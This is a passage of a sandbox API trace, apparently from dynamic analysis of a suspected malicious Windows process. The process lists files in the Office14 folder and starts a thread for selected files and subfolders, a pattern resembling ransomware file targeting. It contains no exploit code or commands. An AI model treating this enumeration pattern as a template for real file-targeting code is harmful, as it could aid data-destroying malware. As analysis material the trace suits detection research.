FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd84cf560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PEOPLEDATAHANDLER.DLL", cAlternateFileName="PEOPLE~1.DLL")) returned 1 [0162.453] wcscmp (_String1="PEOPLEDATAHANDLER.DLL", _String2=".") returned 1 [0162.453] wcscmp (_String1="PEOPLEDATAHANDLER.DLL", _String2="..") returned 1 [0162.453] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2e960, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJCALEND.DLL", cAlternateFileName="")) returned 1 [0162.453] wcscmp (_String1="PJCALEND.DLL", _String2=".") returned 1 [0162.453] wcscmp (_String1="PJCALEND.DLL", _String2="..") returned 1 [0162.453] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4186400, ftCreationTime.dwHighDateTime=0x1cabf1b, ftLastAccessTime.dwLowDateTime=0x5a5a21d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4186400, ftLastWriteTime.dwHighDateTime=0x1cabf1b, nFileSizeHigh=0x0, nFileSizeLow=0x210368, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.EXE", cAlternateFileName="")) returned 1 [0162.453] wcscmp (_String1="POWERPNT.EXE", _String2=".") returned 1 [0162.453] wcscmp (_String1="POWERPNT.EXE", _String2="..") returned 1 [0162.453] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88f02f00, ftCreationTime.dwHighDateTime=0x1cabe9f, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88f02f00, ftLastWriteTime.dwHighDateTime=0x1cabe9f, nFileSizeHigh=0x0, nFileSizeLow=0xdb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpnt.exe.manifest", cAlternateFileName="POWERP~1.MAN")) returned 1 [0162.453] wcscmp (_String1="powerpnt.exe.manifest", _String2=".") returned 1 [0162.453] wcscmp (_String1="powerpnt.exe.manifest", _String2="..") returned 1 [0162.453] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7298 [0162.453] wcscpy (in: _Dest=0x8e7298, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0162.453] wcscat (in: _Dest=0x8e7298, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.453] wcscat (in: _Dest=0x8e7298, _Source="powerpnt.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest" [0162.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdec [0162.454] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4186400, ftCreationTime.dwHighDateTime=0x1cabf1b, ftLastAccessTime.dwLowDateTime=0x6cfec6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4186400, ftLastWriteTime.dwHighDateTime=0x1cabf1b, nFileSizeHigh=0x0, nFileSizeLow=0xee1768, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPCORE.DLL", cAlternateFileName="")) returned 1 [0162.454] wcscmp (_String1="PPCORE.DLL", _String2=".") returned 1 [0162.454] wcscmp (_String1="PPCORE.DLL", _String2="..") returned 1 [0162.454] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c0c100, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x6d012810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3c0c100, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x77d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPSLAX.DLL", cAlternateFileName="")) returned 1 [0162.455] wcscmp (_String1="PPSLAX.DLL", _String2=".") returned 1 [0162.455] wcscmp (_String1="PPSLAX.DLL", _String2="..") returned 1 [0162.455] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x5a6145f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x39df60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPTICO.EXE", cAlternateFileName="")) returned 1 [0162.455] wcscmp (_String1="PPTICO.EXE", _String2=".") returned 1 [0162.455] wcscmp (_String1="PPTICO.EXE", _String2="..") returned 1 [0162.455] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x5a6145f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x13764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPTIRM.XML", cAlternateFileName="")) returned 1 [0162.455] wcscmp (_String1="PPTIRM.XML", _String2=".") returned 1 [0162.455] wcscmp (_String1="PPTIRM.XML", _String2="..") returned 1 [0162.455] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93bcc0 [0162.455] wcscpy (in: _Dest=0x93bcc0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0162.455] wcscat (in: _Dest=0x93bcc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.455] wcscat (in: _Dest=0x93bcc0, _Source="PPTIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" [0162.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bcc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf0 [0162.456] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x6d012810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPTIRMV.XML", cAlternateFileName="")) returned 1 [0162.456] wcscmp (_String1="PPTIRMV.XML", _String2=".") returned 1 [0162.456] wcscmp (_String1="PPTIRMV.XML", _String2="..") returned 1 [0162.457] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93cad0 [0162.457] wcscpy (in: _Dest=0x93cad0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0162.457] wcscat (in: _Dest=0x93cad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.457] wcscat (in: _Dest=0x93cad0, _Source="PPTIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" [0162.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf4 [0162.458] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65451e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14988, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJIMPT.EXE", cAlternateFileName="")) returned 1 [0162.458] wcscmp (_String1="PROJIMPT.EXE", _String2=".") returned 1 [0162.458] wcscmp (_String1="PROJIMPT.EXE", _String2="..") returned 1 [0162.458] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65451e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x29d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJMODL.DLL", cAlternateFileName="")) returned 1 [0162.458] wcscmp (_String1="PROJMODL.DLL", _String2=".") returned 1 [0162.458] wcscmp (_String1="PROJMODL.DLL", _String2="..") returned 1 [0162.458] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0162.458] wcscmp (_String1="PROOF", _String2=".") returned 1 [0162.458] wcscmp (_String1="PROOF", _String2="..") returned 1 [0162.458] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f1448 [0162.458] wcscpy (in: _Dest=0x8f1448, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0162.458] wcscat (in: _Dest=0x8f1448, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.458] wcscat (in: _Dest=0x8f1448, _Source="PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0162.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf8 [0162.459] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0162.459] wcscmp (_String1="PROPMGR.DLL", _String2=".") returned 1 [0162.460] wcscmp (_String1="PROPMGR.DLL", _String2="..") returned 1 [0162.460] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65b7600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x130b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.DLL", cAlternateFileName="")) returned 1 [0162.460] wcscmp (_String1="PROPRPT.DLL", _String2=".") returned 1 [0162.460] wcscmp (_String1="PROPRPT.DLL", _String2="..") returned 1 [0162.460] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe105a200, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe105a200, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x29980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRTF9.DLL", cAlternateFileName="")) returned 1 [0162.460] wcscmp (_String1="PRTF9.DLL", _String2=".") returned 1 [0162.460] wcscmp (_String1="PRTF9.DLL", _String2="..") returned 1 [0162.460] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x68368, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSTPRX32.DLL", cAlternateFileName="")) returned 1 [0162.460] wcscmp (_String1="PSTPRX32.DLL", _String2=".") returned 1 [0162.460] wcscmp (_String1="PSTPRX32.DLL", _String2="..") returned 1 [0162.460] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTXT9.DLL", cAlternateFileName="")) returned 1 [0162.460] wcscmp (_String1="PTXT9.DLL", _String2=".") returned 1 [0162.460] wcscmp (_String1="PTXT9.DLL", _String2="..") returned 1 [0162.460] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBBA", cAlternateFileName="")) returned 1 [0162.460] wcscmp (_String1="PUBBA", _String2=".") returned 1 [0162.460] wcscmp (_String1="PUBBA", _String2="..") returned 1 [0162.460] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f1b48 [0162.460] wcscpy (in: _Dest=0x8f1b48, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0162.460] wcscat (in: _Dest=0x8f1b48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.460] wcscat (in: _Dest=0x8f1b48, _Source="PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0162.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe04 [0162.462] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0162.462] wcscmp (_String1="PUBCONV.DLL", _String2=".") returned 1 [0162.462] wcscmp (_String1="PUBCONV.DLL", _String2="..") returned 1 [0162.462] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe236cf00, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe236cf00, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xe778, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBTRAP.DLL", cAlternateFileName="")) returned 1 [0162.462] wcscmp (_String1="PUBTRAP.DLL", _String2=".") returned 1 [0162.462] wcscmp (_String1="PUBTRAP.DLL", _String2="..") returned 1 [0162.462] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWIZ", cAlternateFileName="")) returned 1 [0162.462] wcscmp (_String1="PUBWIZ", _String2=".") returned 1 [0162.462] wcscmp (_String1="PUBWIZ", _String2="..") returned 1 [0162.462] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f0fe8 [0162.462] wcscpy (in: _Dest=0x8f0fe8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0162.462] wcscat (in: _Dest=0x8f0fe8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.462] wcscat (in: _Dest=0x8f0fe8, _Source="PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0162.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe08 [0162.463] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0162.463] wcscmp (_String1="QUERIES", _String2=".") returned 1 [0162.463] wcscmp (_String1="QUERIES", _String2="..") returned 1 [0162.463] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1838 [0162.463] wcscpy (in: _Dest=0x8f1838, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0162.463] wcscat (in: _Dest=0x8f1838, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.463] wcscat (in: _Dest=0x8f1838, _Source="QUERIES" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" [0162.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe0c [0162.465] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0162.465] wcscmp (_String1="RECALL.DLL", _String2=".") returned 1 [0162.465] wcscmp (_String1="RECALL.DLL", _String2="..") returned 1 [0162.465] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xa958, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFEDIT.DLL", cAlternateFileName="")) returned 1 [0162.465] wcscmp (_String1="REFEDIT.DLL", _String2=".") returned 1 [0162.465] wcscmp (_String1="REFEDIT.DLL", _String2="..") returned 1 [0162.465] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x1a900, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMINDER.WAV", cAlternateFileName="")) returned 1 [0162.465] wcscmp (_String1="REMINDER.WAV", _String2=".") returned 1 [0162.465] wcscmp (_String1="REMINDER.WAV", _String2="..") returned 1 [0162.465] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c440 [0162.465] wcscpy (in: _Dest=0x93c440, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0162.465] wcscat (in: _Dest=0x93c440, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.465] wcscat (in: _Dest=0x93c440, _Source="REMINDER.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV" [0162.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe10 [0162.467] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66038c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38588, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORT.DLL", cAlternateFileName="")) returned 1 [0162.467] wcscmp (_String1="REPORT.DLL", _String2=".") returned 1 [0162.467] wcscmp (_String1="REPORT.DLL", _String2="..") returned 1 [0162.467] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="REVERSE.DLL", cAlternateFileName="")) returned 1 [0162.467] wcscmp (_String1="REVERSE.DLL", _String2=".") returned 1 [0162.468] wcscmp (_String1="REVERSE.DLL", _String2="..") returned 1 [0162.468] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b753100, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b753100, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x353f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSWOP.ICM", cAlternateFileName="")) returned 1 [0162.468] wcscmp (_String1="RSWOP.ICM", _String2=".") returned 1 [0162.468] wcscmp (_String1="RSWOP.ICM", _String2="..") returned 1 [0162.468] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93bf18 [0162.468] wcscpy (in: _Dest=0x93bf18, 